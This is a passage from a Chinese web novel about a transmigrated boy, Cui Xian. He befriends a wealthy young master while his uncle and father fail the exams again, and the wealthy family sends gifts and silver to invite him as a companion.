作为前世的成年人,如今的小孩子,崔岘可太会拿捏这种臭屁富贵哥的心思了。 他想趁机再给‘大哥’吹上一波。 结果远处三叔公卖完了鸡蛋,见他不在身边,急切道:“岘娃子,岘娃子!咱们得去城门处,找你祖母了。再晚些,天要黑咯!” “这就来咯!” 崔岘只能应了一声,往回跑。 片刻后又停下脚步,转身冲裴少爷郑重说道:“大哥,小弟叫崔岘,家住河西村东边第三户,门口有棵大槐树!” “以后你有事儿,随时来招呼。小弟今日还有事儿,先走了啊。还有,我与大哥一见如故,大哥在我的心目中,就是最优秀的!” 他目光炯炯,眼含崇拜。 裴少爷被夸得脸热,不自觉便挺直胸膛,摆起了‘大哥’的姿态:“你既做了我小弟,那以后就要稳重行事。去吧,我改日派人去寻你。” 对于一个十岁左右的半大小子来说,你说你有摩喉罗,都不见得能诓骗住他。 更别提崔岘目前没有摩喉罗。 但你要说认他当大哥——那你小子有福啦。 以后‘大哥’但凡有口吃的,都能愿意忍痛分你半口。 所以先不着急,留条钩子在。 以后迟早跟着‘大哥’混,做点生意赚些钱,还不是手拿把掐。 崔岘走了。 裴坚留在原地,傻乎乎一直红着脸憨笑。 他怎么都想不到,今日和母亲吵了一架,赌气甩开仆从离家出走,竟然莫名其妙收了个小弟! 就是这小弟有点笨。 一听说给十两银子,就马上认‘大哥’。 好歹,真收到钱了再认嘛! 但小弟说话好听,还发现了自己这么多优秀的点。 罢了罢了,下次见面,给他十两银子又何妨! 谁让自己这个做大哥的,为人豪爽呢! 笑容灿烂的裴坚没有发现。 其实裴家的老管家、以及仆从们,一直在远远跟着他,生怕他出事儿。 集市斜对面的巷子里。 “去查一查,刚才跟少爷一起玩耍的小哥,是哪家的。” 管家看着眼角眉梢尽是笑意的小少爷,由衷感慨道:“许久没见少爷笑的这么开心了。” 7、再次落榜 花开两朵,各表一枝。 当崔岘忙着忽悠富贵哥的时候,崔老太太熟门熟路去了典当行。 进去前,她拢了拢散乱的头发,尽力让自己看着体面些。 进去后,她撒泼嚎啕大哭许久,终于让掌柜神情不耐的同意,多典给她半两银子。 崔老太太揣着银子出门。 留在典当行里的,不仅仅是那对金玉手镯,还有她一文不值的尊严。 但好在,两个儿子可以不用去服徭役了。 这一次……他俩说不定就能中呢! 崔老太太深吸一口气,细细整理好仪态。 回去路过包子铺的时候,她一咬牙,买了三个肉包。 至于她自己,连个一文钱的馒头都没舍得买。 强忍住饥饿匆匆赶至城门外,驴车已经在等着了。崔老太太上了车,笑着问道:“岘哥儿今日乖不乖?” 三叔公一边赶驴车,一边笑:“放心,岘娃子乖着嘞。” 于是崔老太太便从怀里掏出个纸包:“既然三叔公都说你乖,那祖母奖励你吃肉包子。” 崔岘的视线从祖母身上扫过,在对方隐隐泛红的眼角处停留片刻,心中酸涩。 但他没有表现出来,惊喜的接过肉包狠狠咬上一口,含糊道:“香!谢谢祖母!” 随后,崔岘又把肉包递过去:“祖母也吃!” 崔老太太象征性咬了一小口,看着被肉包香迷糊的小孙子,无声的笑。 · 那日,崔老太太和崔岘很晚才归家。 但她一回来,便让整个家都安定了。 “明日,娘去把徭役钱交了。老大老二安心温书,过些天照常去参加院试。” 崔老太太笑着说完,又把两个肉包递给崔钰、崔璇:“吃吧,岘哥儿吃过了,这是给你俩的。” “谢谢祖母!”崔璇眼睛放光。 就连崔钰都惊喜的合不拢嘴。 姐弟俩心思通透,开心又乖巧的吃包子,试图缓和家里凝滞的氛围。 大伯母林氏狠狠松了口气,点燃起油灯。 相公不用去服徭役了! 在昏暗灯光的辉映下,崔老太太看起来有些疲惫,但眉眼带笑,连脸上的褶皱都平添了几分温柔。 崔伯山、崔仲渊兄弟二人在卧房里读书,没敢出来。 但听到母亲的话,读书声霎时高亢了许多。 陈氏想到了什么:“娘肯定还没吃饭吧,我去庖厨——” 她话还没说完,便被崔老太太打断:“我吃过了,你俩回房歇息吧。” 陈氏和林氏讷讷对视。 她俩心知肚明,婆母多半是舍不得花钱在外面买吃食的。 只是两个儿媳谁都没再多说,林氏去烧热水,陈氏简单做了个面汤,一同送去了崔老太太房里。 堂屋。 崔岘默默看着祖母蹒跚着脚步回房,心想,人心终究是肉长的。 从最开始穿越来,以‘外人’的身份,默默打量这个陌生的家。 到如今,他正无意识一点点融入这个家里,并且发自内心想为这个家付出,希望这个家越来越好。 只是做‘玩具生意’这事儿,崔岘没有跟家里人提。 一来,他还不确定,是否能真正搭上富贵哥这条线。 二来,他太年幼。 成年人面对小孩,总会下意识带着‘俯视’的姿态,尤其是崔老太太这样性格古板的。 若是崔岘敢开口说自己想做玩具生意,还忽悠了举人老爷家的公子哥,那么等待他的,绝对是一顿‘竹笋炒肉’的毒打。 所以多说无益。 等赚到钱拿回来,自然能帮衬到家里。 这一晚,崔仲渊和崔伯山读了很久的书。 陈氏也没心情教训擅自跟着去县城的儿子,总是翻身,睡不安稳。 后半夜睡觉的时候,崔岘听到崔仲渊在小声啜泣。 迷迷糊糊间,他主动伸出手,试探着去触碰崔仲渊的手。 崔仲渊哭声骤停,反手将儿子的手攥紧。 黑暗中,谁都没说话。 崔岘感受着手掌被攥紧的滋味,后知后觉的想,大概……这就是父亲? ‘大哥’都认了,现在属于是‘债多不愁’,再多个爹又何妨。 是以,他迟疑着小声唤道:“爹?” 崔仲渊应了一声。 崔岘两辈子加起来,头次喊人‘爹’,本就有些窘迫,实在不知道喊完了该说些什么。 完全没有忽悠‘大哥’时候的游刃有余。 最后,他只能硬起头皮干巴巴宽慰崔仲渊:“莫哭,你既努力,又聪慧,此次必定能中。” 房间里一阵沉默。 接着。 崔仲渊松开儿子的手,翻了个身嘟囔道:“睡吧。” 崔岘:“……” 真是难搞哦。 · 此后半月,日子就这样一天天过去。 崔家的氛围也越来越紧绷。 直到院试开始前一天中午,崔老太太授意大伯母林氏,将那块肥美的腊肉炒了。 整整一大盆腊肉炒水芹,看着油光锃亮。 菜端上桌的刹那,整个屋子里香飘四溢。 这诱人的肉香味儿,甚至短暂冲淡了崔家紧绷的气氛。 一大家子围桌而坐,眼冒绿光。 连崔老太太都没忍住在咽口水。 天知道家里饭桌上多久没见过荤腥了! 动筷之前,崔老太太觑了一眼林氏。 林氏会意,压低声音道:“娘放心,大门已经关紧了。” 崔老太太这才说道:“开饭吧。” 这顿饭,吃的非常安静,但所有人脸上都带着满足。 因为香啊! 崔岘也吃了好几大片腊肉,果真肉质肥美,比现代社会的饲料注水猪肉好吃多了! 这大概是没有科技与狠活的古代,为数不多的优点之一了吧。 饭后。 崔璇把嘴角的油渍舔干净,感慨道:“真想顿顿都能吃腊肉啊。” 看出来了,这是个标准的大馋丫头。 崔老太太笑着接话:“等你父亲、小叔高中,咱们崔家,指定不缺肉吃。” 一句话,把缓和的气氛又拉回了现实。 崔伯山、崔仲渊兄弟二人互相对视,郑重道:“娘放心,儿子一定竭尽全力!” 崔老太太眼含期待,但最后只是说道:“尽力就好,进了考场身体最要紧,去吧。” 吃过这顿中午饭,兄弟二人便要出发,夜里去南阳县城留宿。 明日一早,直接去贡院参加院试。 这点其实还是很方便的。 不像南阳府下辖其余县的学子,还要耗时数天,来南阳赶考。 当然若是崔家兄弟通过院试、府试中了秀才,后面还有乡试。 届时,便要离开南阳府,赶往河南的首府——开封府去参加考试。 若是乡试再中举,将来还得跋山涉水数千里,去京城参加会试、殿试…… 算了,先别参加了。 因为崔家兄弟再次落榜了。 赶考出发前那天,他俩放出豪言:此次必中。 结果考完回来,二人脸色苍白言辞闪烁,双双躲在屋子里不肯出门。 崔老太太日日惦记着放榜,又害怕放榜,甚至不敢问一句儿子考得如何。 等县衙放榜那日。 崔老太太亲自和两个儿子一起去了。 衙门外人挨人、人挤人。 有中榜者喜极而泣,有落榜者嚎啕痛哭,可谓人生百态。 崔老太太急切的挤了进去,眯起老眼,神情希冀的一遍又一遍看榜。 她勉强识一些字。 但却始终无法在红案榜上找出自己两个儿子的名字。 良久后,崔老太太终于放弃,站在人潮里崩溃大哭:“没中,还是没中!为什么,老天爷,这究竟是为什么啊!” 崔伯山、崔仲渊兄弟羞愧难当,面无人色。 周围人纷纷看向他们,不胜唏嘘。 “那是崔家兄弟吧,考了十年,还是不中!” “唉!只能说这崔家,就没那个命。” “是啊,趁早认命吧。” 8、快快把那书童请过来! 伏牛巷。 青石板地面一尘不染,明明身处闹市,却又无半点喧嚣。 一条宽阔洁净的河流,从巷子后方蜿蜒流淌而过,河岸两侧杨柳依依,景色美不胜收。 南阳人称其为:白河。 而这条沿白河而建的伏牛巷,便是南阳县城最富硕的‘贵人巷’。 县城里有点名头的士绅、富户们,都住在这里。 一门双举人的裴府,毫无疑问是伏牛巷里最尊贵的人家之一。 但此刻,裴家三进大宅的主院里,却一阵‘鸡飞狗跳’。 不出意外,是小少爷裴坚又在闹幺蛾子。 约莫半月前,裴坚和母亲吵架,离家出走不说,还赌气不去学堂。 此事被裴家老夫人,也就是裴坚的祖母知晓后,禁了小少爷半个月的足。 但小少爷这次,是铁了心不打算念书,被禁足也不服软。 甚至还计划着偷偷翻墙溜出府! 当然,因为院墙太高,没成功。 只是府里下人都听说了,坚哥儿最近一直念叨,扬言自己做了人家‘大哥’。 据说小少爷外面那位‘小弟’说话好听又仗义,所以他准备叛出裴家,去投奔那小弟去。 凡是听到这话的人都很无言。 裴老夫人习惯了小孙子时不时兴妖作怪,当即简单粗暴给出解决办法:“要小弟是吧?找,去给他找!祖宗唉,只要他愿意去读书,怎么着都行!” 但大人哪里能吃透小孩儿的心思。 按照裴老夫人的理解,小弟,那便是‘跟班儿’、‘书童’的意思。 于是,十几个跟小少爷年纪相仿的男孩,被送进了裴府。 裴老夫人对小孙子说道:“挑吧,这么多小弟,你随便挑。” 裴坚看着那一排‘小弟’,怎么看怎么不顺眼。 这个太黑。 那个太壮。 这个瞧着很笨……嗯,笨点行,但太笨了,不会说好听话。 更不会捧着‘空气’说自己有摩喉罗。 总之,都没一点小弟该有的样子! 裴坚嫌弃的挑了一圈,表示拒绝:“不必了,我有小弟,而且这些人跟他都没得比。” 那个‘不惜叛出裴家都要去投奔’的小弟? 裴老夫人闻言优雅的翻了个白眼,忍住不耐说道:“你那小弟,家住哪里?我让管家去打听打听,合适的话,聘来予你做书童。” 当日,管家见那小哥儿与少爷相处极好,曾派人去打听过崔岘。 但崔岘并非南阳县城人,管家没打听到。 听到祖母这话,裴坚眼睛亮起来,但很快又摇头:“他既选择认我当大哥,我岂有让他来给我做仆从的道理?” 书童,只是说的好听,但本质上其实就是仆从下人。 如今的仆从分为两种。 一种是家境贫寒,被父母卖掉,签了卖身契的奴仆。这种奴仆没有人身自由,属于主家的私产,一辈子都要为主家服务。 另一种是不签卖身契,主家聘请来干活儿,双方属于雇佣关系。 但不管哪种,终究都是下人。 小少爷裴坚自小生活优渥,性格难免骄纵,鲜少有如此为别人考虑的时候。 裴老夫人心中惊讶,不动声色道:“你先把地址说出来,我让管家去打听。再者,人家是否愿意来做书童,还是两说呢。” 裴坚一想也是,便说了。 管家马不停蹄的去打听。 打听到的消息让裴老夫人、裴坚都很是吃惊。 这小弟,还真有点来头! 因为他姓崔。 二十多年前,崔家在南阳县也算是名门,家里有位举人老爷,妥妥的清贵之家。 只是后来因为一些缘由,逐渐没落。 崔家便从南阳县城,搬回了曾经起家的村子,河西村。 裴老夫人陷入回忆,喃喃道:“算算年纪,崔家那位举人老爷,应该是你小弟的太祖父。他的太祖父可是位了不起的人,还曾经指点过你祖父学问呢。” “哦对,还有你小弟的祖父,以前也是南阳县城有名的大才子,年纪轻轻便是秀才公,学问比你祖父都要好。可惜……唉。” 可惜,天妒英才。 崔家一位举人老爷,一位秀才相公,先后去世。 风光无限的崔家,便这样迅速没落了。 老管家也是无限唏嘘:“竟然是举人之家,真是没想到。那老崔氏为了供两个儿子读书,耗光了家业。听说此次院试,崔家两个儿子又没中。一家人窝在河西村,日子过得清贫艰难,饭菜常年不见荤腥,还总被人嘲讽说闲话。” 裴坚听得拳头都硬了。 谁敢嘲讽他小弟? 是了,崔岘看着瘦小孱弱,脑子又笨,家里还穷,肯定经常被人欺负。 要不能一直找‘大哥’吗? 找大哥的目的,当然是求大哥为他主持公道啊! 结果自那日两人分别,裴坚被禁足,竟没有第一时间去打听下小弟的难处。 自己这个大哥,做的实在太不称职了! 裴坚心中愧疚,急切的对裴老夫人说道:“祖母,求您了,快去崔家把我小弟请过来!但是不许让他签卖身契,也不许签雇佣契书,不让他做书童,让他来做我小弟就行!以后每月,给他五两,不对,给他十两俸银!” 裴老夫人没吭声。 她是成年人,看待问题不似小孩那么简单。 既然知道崔家是清贵之家,不是田地里的泥巴农户,那就得给人家应有的尊重。 贸然登门,问人家愿不愿意让孩子出来做书童,实在太过唐突了! 而且雇佣契书还是要签的。 你连契书都不签,还每月给十两俸银,那人崔家一听,铁定以为遇上了骗子。 再者说,哪有一个月给高达十两银钱做俸禄的啊! 裴老夫人在想怎么圆润的处理这个事情。 但裴坚急了。 他担心自己小弟啊,见祖母一直不开口,以为祖母不同意此事。 于是咬牙说道:“祖母,您还磨叽什么呢!快去把我小弟请过来,大不了……大不了我答应你去族学继续念书!” 裴老夫人惊呆了。 一屋子的下人们也惊呆了。 天菩萨哟! 裴坚五岁开蒙,如今11岁,整整六年,天天厌学! 这还是小少爷人生头一次,主动说要去读书。 少爷那位‘小弟’,魅力这么大的吗? 裴老夫人率先反应过来,神情激动的看向管家:“愣着干什么,去,快去河西村请人啊!备一车米面粮油蛋肉,登门后务必要客气说明来意!” “就说咱家少爷缺个玩伴,请他家小哥来府上作陪,不必签卖身契,雇佣文书……算了,也不必签了!但照常领月钱,每月给,给五百文吧,太多了容易遭人眼红,而且给太多崔家也不见得愿意要。” 裴坚本来嫌弃每月五百文太少。 但听完祖母最后一句话,他顿时改口说道:“那再拿十两银子带过去,从我的账面上支,那是我答应好给他的。” 打碎的‘摩喉罗’虽然是‘假的’。 但大哥的心意,是真真的啊! 裴老太太这次痛快的很:“准了。” 老管家喜滋滋的领命去办差事。 整个裴府上下一片喜庆。 小少爷终于肯读书了! 主家老夫人心情大好,还给仆从们都赏了喜钱。 那位‘少爷的小弟’还没进门,就已经成功获得了整个裴家上下所有人的好感。 并且期盼他赶快进府。 唯有裴坚心情悲切。 大哥难当啊! 为了小弟,他真的妥协了太多呜呜呜呜! 9、管家登门 崔老太太是被两个儿子抬回家的。 因为气急攻心,伤心过度,她在县衙红案榜前哭晕了过去。 这一路,她听得最多的两个字便是:认命。 回家后。 村子里的人来探望她,也都劝她‘认命’。 咱们都是乡间田野地里的泥巴腿子,天生伺候庄稼的命。 何苦折腾着非得读书呢? 崔老太太木着一张脸,任由别人念叨,却始终不发一言。 等外人都走了。 老太太把全家人都喊来,平静道:“崔家以前不是泥巴腿子,以后也绝对不能是泥巴腿子。” 没等其余人开口。 老太太指向外面,浑浊的泪水自眼眶向外流淌:“我知道,这些年你们对我有怨言,不想读书了,想种庄稼过安生日子。” “可是你们出门看看,那能长出庄稼的泥巴田地,才是最会吃人的陷阱牢笼,一脚踩进去,祖祖辈辈都出不来了啊!” 她声音凄厉。 崔岘怔怔听在耳朵里,只觉得异常震撼。 一个未开蒙的古代乡野老妇。 得吃过多少苦难,经历过多少岁月的鞭笞,才能说出这番话啊。 人们常说:云贵川的十万大山,是困住无数人一生的梦魇囚牢。 但河南一马平川的田地,对于穷苦百姓们来说—— 又何尝不是另一种形式的‘十万大山’呢? “如今人人笑我老崔氏癔症,泥巴腿子妄想桂榜高中。但短短二十年,他们便不记得,曾经的崔家,出了一位举人老爷,一位秀才相公。” “他们凭什么说崔家是泥巴腿子!崔府的大门外,曾经还挂着举人之家的牌匾!” “伯山、仲渊,娘这些年时常想不通啊!你们祖父,是南阳府读书人都敬重的举人老爷,你们的父亲,也是年纪轻轻就考中了秀才。” “可怎么到了你俩这里,就次次落榜呢!” 崔老太太泣声质问。 崔伯山、崔仲渊兄弟二人如鲠在喉。 他们也确实在努力读书,可……就是读不出个名堂啊。 唯有崔岘心中有数。 大伯、父亲本来天资就一般,只懂读死书,知其然,不知所以然。 再加上没有老师传道授业解惑,如何中榜? 寒门难出贵子,便是这个道理。 崔老太太眼神失望的看着两个儿子。 许久后又颤声回忆道:“当然,也不全然怪你俩,娘知道,这些年你俩心里也苦。当年你们祖父远赴江浙做县令,却遇上倭寇作乱,为守城护住百姓,你们祖父祖母因此牺牲。” “那个时候,你俩还小。你们父亲……你们父亲他远赴浙江奔丧,回来后心神俱损。” “再后来出了孝期,你们父亲不顾身体虚弱,强行去开封参加乡试。然后……然后熬垮了身体。” “乡试开考后,贡院闭门不开,纵然是考场走水,考生暴毙,也断然没有开门的道理。可那九天六夜的考试,是真能把人给熬没了啊!” “当时,你父亲自知身体已到大限,苦苦哀求提调官将其隔着院墙丢出考场。” “因你们祖父抗倭战死,当年的主考官,破格开恩,同意了你们父亲的请求。” “我闻讯赶至,甚至都没来得及哭,你父亲躺在考场外狰狞着脸,死死攥着我的手,说……说……” 说到这里,崔老太太哽咽到失声。 崔伯山哭着道:“娘,别说了,别再说了!” “你们父亲他说,哪怕倾尽家财,也要让伯山、仲渊读出个名堂,否则他死不瞑目!这杀千刀的男人,也是狠心,真睁着眼睛就去了。” “他那话,至今都在我脑子里念叨,这么多年一刻都不停歇。” 崔老太太没有理会儿子,继续颤声道:“我年纪轻轻便成了未亡人,本就悲痛。偏偏你们那好二叔,欠了一大笔外债,嚷嚷着要分家。你俩年幼,娘是寡妇,只能任他欺负。” “在族老们的见证下,娘替他还债,又咬牙分了家。卖了崔家的大宅,卖了字画家具,卖了数百亩良田。七成给他,我们留下三成。” “再往后这些年,我们搬回到河西村。为了供你俩读书,再加上娶妻,家里能卖的,不能卖的,娘都卖了。” “县城里每家典当铺的掌柜,都认识我,也都笑话过我。” “甚至南阳县城里,都将癔症的老崔氏当做谈资。” 崔老太太惨然一笑,问道:“伯山,仲渊,你俩说,娘该怎么办,又能怎么办?你俩不读了,以后娘下去,有什么颜面见你们爹,见你们祖父祖母?” 听祖母说起当年事,崔岘想,原来崔家以前还真风光过。 可惜,结局令人唏嘘。 崔伯山、崔仲渊兄弟二人齐齐跪下。 崔仲渊哭道:“娘,我们读,继续读!我跟大哥一定会考中的!” 两个儿媳默默垂泪。 崔钰、崔璇姐弟俩也跟着哭。 昔日种种不幸遭遇,让这个家被苦难侵蚀到千疮百孔,底色遍布伤痛。 崔岘心头发堵。 他想,十几天过去,富贵哥那边仍旧没信儿。 要不,先主动跟家里提去县城读书的事情吧。 再这样下去,这个家就完了。 但没等崔岘开口。 他听见祖母说道:“读,书是一定要读的。伯山,仲渊你俩要继续读。娘想着,钰哥儿今年9岁了,再不开蒙就迟了,也一并送去读书吧。” 此言一出,满堂俱静。 崔岘也是一怔。 原来,方才崔老太太说了那么多,铺垫了那么多,目的是为了让钰哥儿读书。 崔钰飞快看了一眼旁边的崔岘,正准备回绝。 大伯母林氏最先反应过来,抢先哭道:“娘,家里已经这样了,实在供不起了啊!” 陈氏也道:“大嫂说的是,如今家里饭菜常年都不见荤腥,再供一个,咱一家人还怎么活?” 崔仲渊开口欲劝。 崔伯山伸手压下弟弟的肩膀,难得出言拒绝了老母亲:“娘,日子还得过下去,若是您执意打算让钰哥儿开蒙,那我不读——” 崔老太太一改方才的哀痛,厉声打断大儿子:“不行!你要读,老二要读,钰哥儿也得读!我老婆子嘴里一天省一顿饭,也要把钰哥儿供出来!” 这话简直听得全家人心头绝望。 而裴府的老管家,便是这个时候登门的。 “敢问可是崔家?我乃裴府的管家。此次贸然登门,是受东家所托,请贵宅崔岘小哥,予我家小少爷做书童。” 老管家站在大门外,声音诚恳,客客气气说明来意。 为避免误会。 管家还特地解释道:“我们东家的意思是,崔岘小哥名义上来做书童,实则是来给我家小少爷,做个玩伴。” 书童? 听到这话,其余崔家人还在茫然。 崔钰最先慌了。 他第一时间回想到,祖母前些天问他要不要读书,他反问岘哥儿怎么办。 祖母沉默不语。 难道…… 家里钱不够,为了让他读书,祖母把岘哥儿卖了,去给裴府少爷做书童换银钱? 现在裴府管家来带岘哥儿走! 崔钰越想越觉得是这种可能。 他哇的一声哭出来,大声看向祖母哭诉道:“祖母,你把岘哥儿卖了?我不同意!要卖的话,你卖掉我,让阿弟去读书吧!” 崔仲渊、陈氏闻言脸色大变,急急将儿子护在身后。 老太太把岘哥儿卖掉了?! 其余崔家人同样神情惊骇。 10、少爷的一车厚礼 “娘,您把岘哥儿卖了?” 崔仲渊大声质问。 被问懵了的崔老太太终于回过神来,恼怒道:“胡说八道什么,我何时要卖岘哥儿!” 家里穷,读书只能供长孙,已然是偏心。 但她怎么可能做出卖孙子的事啊! 崔钰闻言,哭声骤停。 其余神情惊恐的崔家人,也都松了口气。 唯有崔岘猜测到,这管家,应该是‘大哥’派遣来的。 看来,当日那几声大哥,没白叫啊。 崔岘看向满脸‘护犊子’的娘,看向挡在自己身前的爹。 再看看第一时间跪在祖母面前,宁肯被‘卖掉’也要换回阿弟的崔钰,只觉得心中暖意盎然。 谢谢你们,满足了我对一个温馨小家的所有美好幻想。 原来这便是家,是亲人。 真好。 而这样美好的家—— 上辈子孤儿出身的崔岘,又岂能眼睁睁看着它日渐贫穷、被苦难支配、折磨呢? 穿越过来后,他唯一仍有纠结的点在于:自己究竟是谁。 但从今日,从此刻起,崔岘想,不重要了。 便让前世因果随风去。 往后,他便是河西村、崔家的崔岘。 他将延续祖辈的荣耀,扛起崔家光复门楣的重担。 想通了这些。 崔岘仿佛无根的浮萍,在这个陌生时空下的大梁王朝,找到了自己落地生根的锚点。 于是他整个人越发鲜活,眼角眉梢都带着笑意。 见一家人仍旧在怔愣。 崔岘轻声开口提醒:“八成是有什么误会,不如请裴府管家进来仔细问清楚。” 对对! 请进来问一问不就清楚啦。 大伯母林氏一拍脑袋:“我去开门。” 结果一开门,整个崔家人都被震慑住了。 因为裴府管家登门,带了礼。 一整大车的厚礼! 大米、白面、猪肉、鸡蛋、活鸡活鸭、猪油……堆满了一整车。 甚至还有两匹溜光水滑的上好布料! 崔家这些年是真穷。 是以,这一车的厚礼,给人极强的冲击力。 林氏人都看傻了,眼珠子直愣愣看着那一车的东西,心脏扑通扑通跳动。 这是什么意思? 给他们崔家送的礼? 不……不能吧! 结果下一刻。 就见老管家张罗着两位家丁,把那一车厚礼,拉进了崔家院子。 老管家先是同开门的林氏客气点头示意,随后看向崔老太太,笑道:“贸然登门,实在唐突。这是主家特地吩咐,给贵宅备的薄礼,还请务必收下。” 哎呦,亲娘唉! 这还‘薄礼’呢? 林氏听得直咂舌,崔家兄弟、陈氏等人也都眼馋的很。 但馋归馋,谁都没开口说收下。 天上不会掉馅饼,听方才这老管家的话,似乎是冲着岘哥儿来的。 崔老太太目光从那辆‘礼车’上艰难挪开,对裴府管家涩声苦笑道:“说来不怕您笑话,我们贫寒之家,缺衣少食,这一车的东西,对我们来说,实在担不起‘薄礼’二字。” “但正所谓:无功不受禄。这些礼,我们不能收,请劳烦再带回去吧。” “还有,我想问问,您方才提起岘哥儿,可是因为我这小孙子年幼,有冲撞到贵府的人?若是他真的做错了什么,我必定关起门来好好规训……” 老太太话说的客气。 面上看似贬低自家孙子,但实则句句都在护短。 因为对方自称来自裴府。 南阳一门双举人的裴家,崔老太太自然是听过的。 但让整个崔家都瞠目的是。 听到崔老太太这话,老管家脸色骤变,惶恐解释道:“不不不,老夫人您误会了!崔岘小哥没做错什么,他好着呢!” “不仅我家小少爷,还有我家老夫人,包括裴府上下,都感念崔岘小哥儿。也怪我们唐突造访,您可千万别怪罪崔岘小哥啊!” 啊。 啊? 这话,把包括崔老太太在内的全家人都说懵了。 他们难以置信的看向崔岘。 崔岘眨眨眼,无辜的和家人们对视。 老管家的话还在继续。 “前些日子,我家少爷和崔岘小哥一见如故,玩耍的非常开心。后来回去后,心里一直惦记着崔岘小哥。” 老管家言辞诚恳:“是以,老夫人让我备一车礼登门,想请崔岘小哥来府里,跟小少爷做个书童玩伴。” “您请放心,我们老夫人特地嘱托了,不是让小哥签约卖身契,也不必签雇佣契书,小哥只管住进来,每月给您开五百文工钱。” 每月五百文?! 崔家三个女人织布,累死累活俩仨月,也不见得能挣到五百文啊! 岘哥儿才八岁,都有人开每月五百文工钱了! 而且还备了一大车厚礼亲自登门来请! 崔家人听傻了。 崔岘也有些惊讶——他是真没想到,大哥竟然如此豪爽。 既送了礼,又解决了‘工作’,还包吃包住。 好家伙,就差直接给钱了。 但很快,崔岘就知道自己思想‘窄了’。 大哥是真大哥,不仅送礼送工作,钱也照送! 老管家滔滔不绝说完,见崔家人没有反应,心里有点着急。 随后他一拍脑袋,又从怀里掏出十两银子:“哦对,您瞧我这记性!这里还有十两银子,劳烦您务必收下。” 天呐,多少? 十两银子! 能抵两个人的徭役钱。 崔家目前掏空了家底,也拿不出这么多钱啊! “不妥不妥!” 崔老太太被这一连番的大手笔惊到晕晕乎乎。 她强忍住理智说道:“这礼,这钱,我们都不能收。至于您的来意,我已悉知。但岘哥儿还小,实在担不起如此厚爱,容我们再思量思量。” 说是不签卖身契、甚至不签雇佣契书。 但小孙子才八岁啊。 这么小的年纪就离家赚钱,老太太到底是舍不得。 老管家闻言很是遗憾,但眼中满是欣赏、敬佩。 他自然看出这个家困顿潦倒,但即便这样,也没有轻易被财帛打动。 清贵之家,虽说贫困,但自有风骨。 难怪崔岘小哥能合小少爷的眼缘。 心中暗自敬佩,管家态度越发和煦,笑道:“老夫人此言差矣,这十两银子啊,您拒绝不了。因为这不是给您的,是我们小少爷按照约定,给崔岘小哥儿的。” “至于这一车礼,您若是不想收下,那就权当寄存在贵宅吧。我家小少爷,一直盼着崔岘小哥赶紧搬去府里呢。” “您今日不必着急回绝,再考虑考虑,若是同意了,来裴府递个话,我即刻便来接崔岘小哥。” “若是最后您还是不同意,也无妨。但那就得换我们裴府叨扰您了,因为小少爷想搬过来,和崔岘小哥一起玩耍,到时候,还望您万勿嫌弃。” “小少爷饭量大,能吃,这一车估计都不够嘞。届时,免不得还要再拉两车过来。” 不愧是高门大户的管家,说话就是漂亮。 说完话,老管家不由分说,把那十两银子塞给崔岘。 然后,他就这么走了。 崔家院子里。 一家人还处于震撼当中,半点没有先前沉痛苦闷的氛围。 十两银子,外加一整大车米面粮油布就在眼前,这谁还痛苦的起来? 不笑出声都是好的! 这柳暗花明的大转折,实在出乎所有人意料。 林氏甚至怕人惦记,鬼鬼祟祟把大门关上。 随后。 一家老小齐齐看向了崔岘,目光中满是惊叹。 陈氏单手虚托住肚子,问出了所有人的疑问:“岘哥儿,这……这究竟是怎么一回事儿啊!你细细说来!” 11、英雄不问出处 崔家。 堂屋。 “岘哥儿,你的意思是说,那日你随祖母去县城,趁着三叔公卖鸡蛋的时间,结交了裴府举人老爷家的小少爷。” “那小少爷跟你一见如故,虽然只认识了不到半日,但已然情感甚笃。” “他回去后一直惦记着你。不惜送上一车厚礼,十两银子,每月五百文工钱,也要请你去裴府做玩伴。” “你若不去,他甚至要来咱家寻你?” 听完崔老太太的复述。 崔岘轻咳一声,在全家人不可思议的注视中,无辜点头:“是的,就是这样,很合理啊。” 这……合理吗? 崔老太太满脸茫然,甚至有点怀疑人生。 这事儿吧,听起来真的很玄乎邪门。 要是当事人并非自家小孙子,老太太甚至想说:那裴家少爷怕不是被人下降头诓骗了吧! 见一家人表情都晕晕乎乎,崔岘心情大好。 这样才对嘛。 总是苦兮兮的,动不动就抹眼泪,日子还怎么过下去。 解释完前后来龙去脉。 崔岘把裴府管家给的十两银子递给崔老太太:“祖母,这钱,您收下。父亲,大伯,还有……” 看了一眼旁边仍有泪意的崔钰,他继续说道:“还有阿兄,他们读书,都得用钱。这下,咱们不必为此发愁了,你们莫要再争吵。” 家中实在贫困。 是以大哥给的十两银子,崔岘没有拒绝。 但默默记在了心里。 崔岘一双稚嫩的手,捧着十两银子,递了过来。 老太太神情动容,但却实在伸不出手去接。 包括堂屋里的其余崔家人,也都沉默着不说话。 崔岘觉得有些奇怪,继续笑着说道:“祖母?快拿着呀。以后等我去了裴府,每个月还有五百文的月钱。咱家不仅能再供阿兄读书,饭桌上还能改善些伙食……祖母!你,你怎么哭了啊!” 崔老太太起先只是流眼泪。 后来忍不住嚎啕大哭。 她颤巍巍将崔岘搂入怀中,颤声道:“岘哥儿,好孩子。祖母这是高兴,也愧疚。先前祖母只让你阿兄去开蒙,没提让你去,你……你可曾怨恨祖母?” 崔岘伸出手,细细将祖母的眼泪擦拭干净:“家中情况,孙儿心中有数,为何要怨恨祖母?阿兄是长兄,理应先去读……” 这话并非客套。 崔岘满身学识,自然不会因为这种小事心生怨愤。 何况他心中也有愧疚——占据了崔家一个孙子的身体,又有何道理,跟崔家另一位孙子争读书名额呢。 但没等崔岘把话说完。 崔钰微红着眼,颇有些强硬的说道:“我不去读书。” 崔岘笑着回看了他一眼。 而后,崔岘问崔老太太:“祖母,孙儿想问您,若是今日家里还有些余钱,您会送我和阿兄一起去开蒙吗?” 崔老太太回答的毫不犹豫:“当然。” 崔岘闻言就笑:“孙儿相信,您肯定会的。手心手背都是肉,先前祖母开口说让阿兄去开蒙的时候,甚至都没看孙儿一眼。孙儿就想,您开口说这话之前,得下了多大的决心,又得有多难受啊。” 崔老太太闻言,眼泪又有些忍不住了。 她何德何能,有这样乖的孙儿啊! 岘哥儿才八岁,寻常人家的孩子还在顽皮淘气,但他却已经懂事的让人心疼。 但岘哥儿越是懂事,崔老太太越是不能让他去做书童。 再苦不能苦孩子。 他们崔家是穷,但也没有穷到让八岁稚童外出做工赚钱的道理! 显然,其余崔家人也是这样想的。 大伯崔伯山率先说道:“岘哥儿,你的心意,我们都知道。但大伯不能同意你去做书童,你阿兄更不能拿着弟弟赚来的钱去读书。” 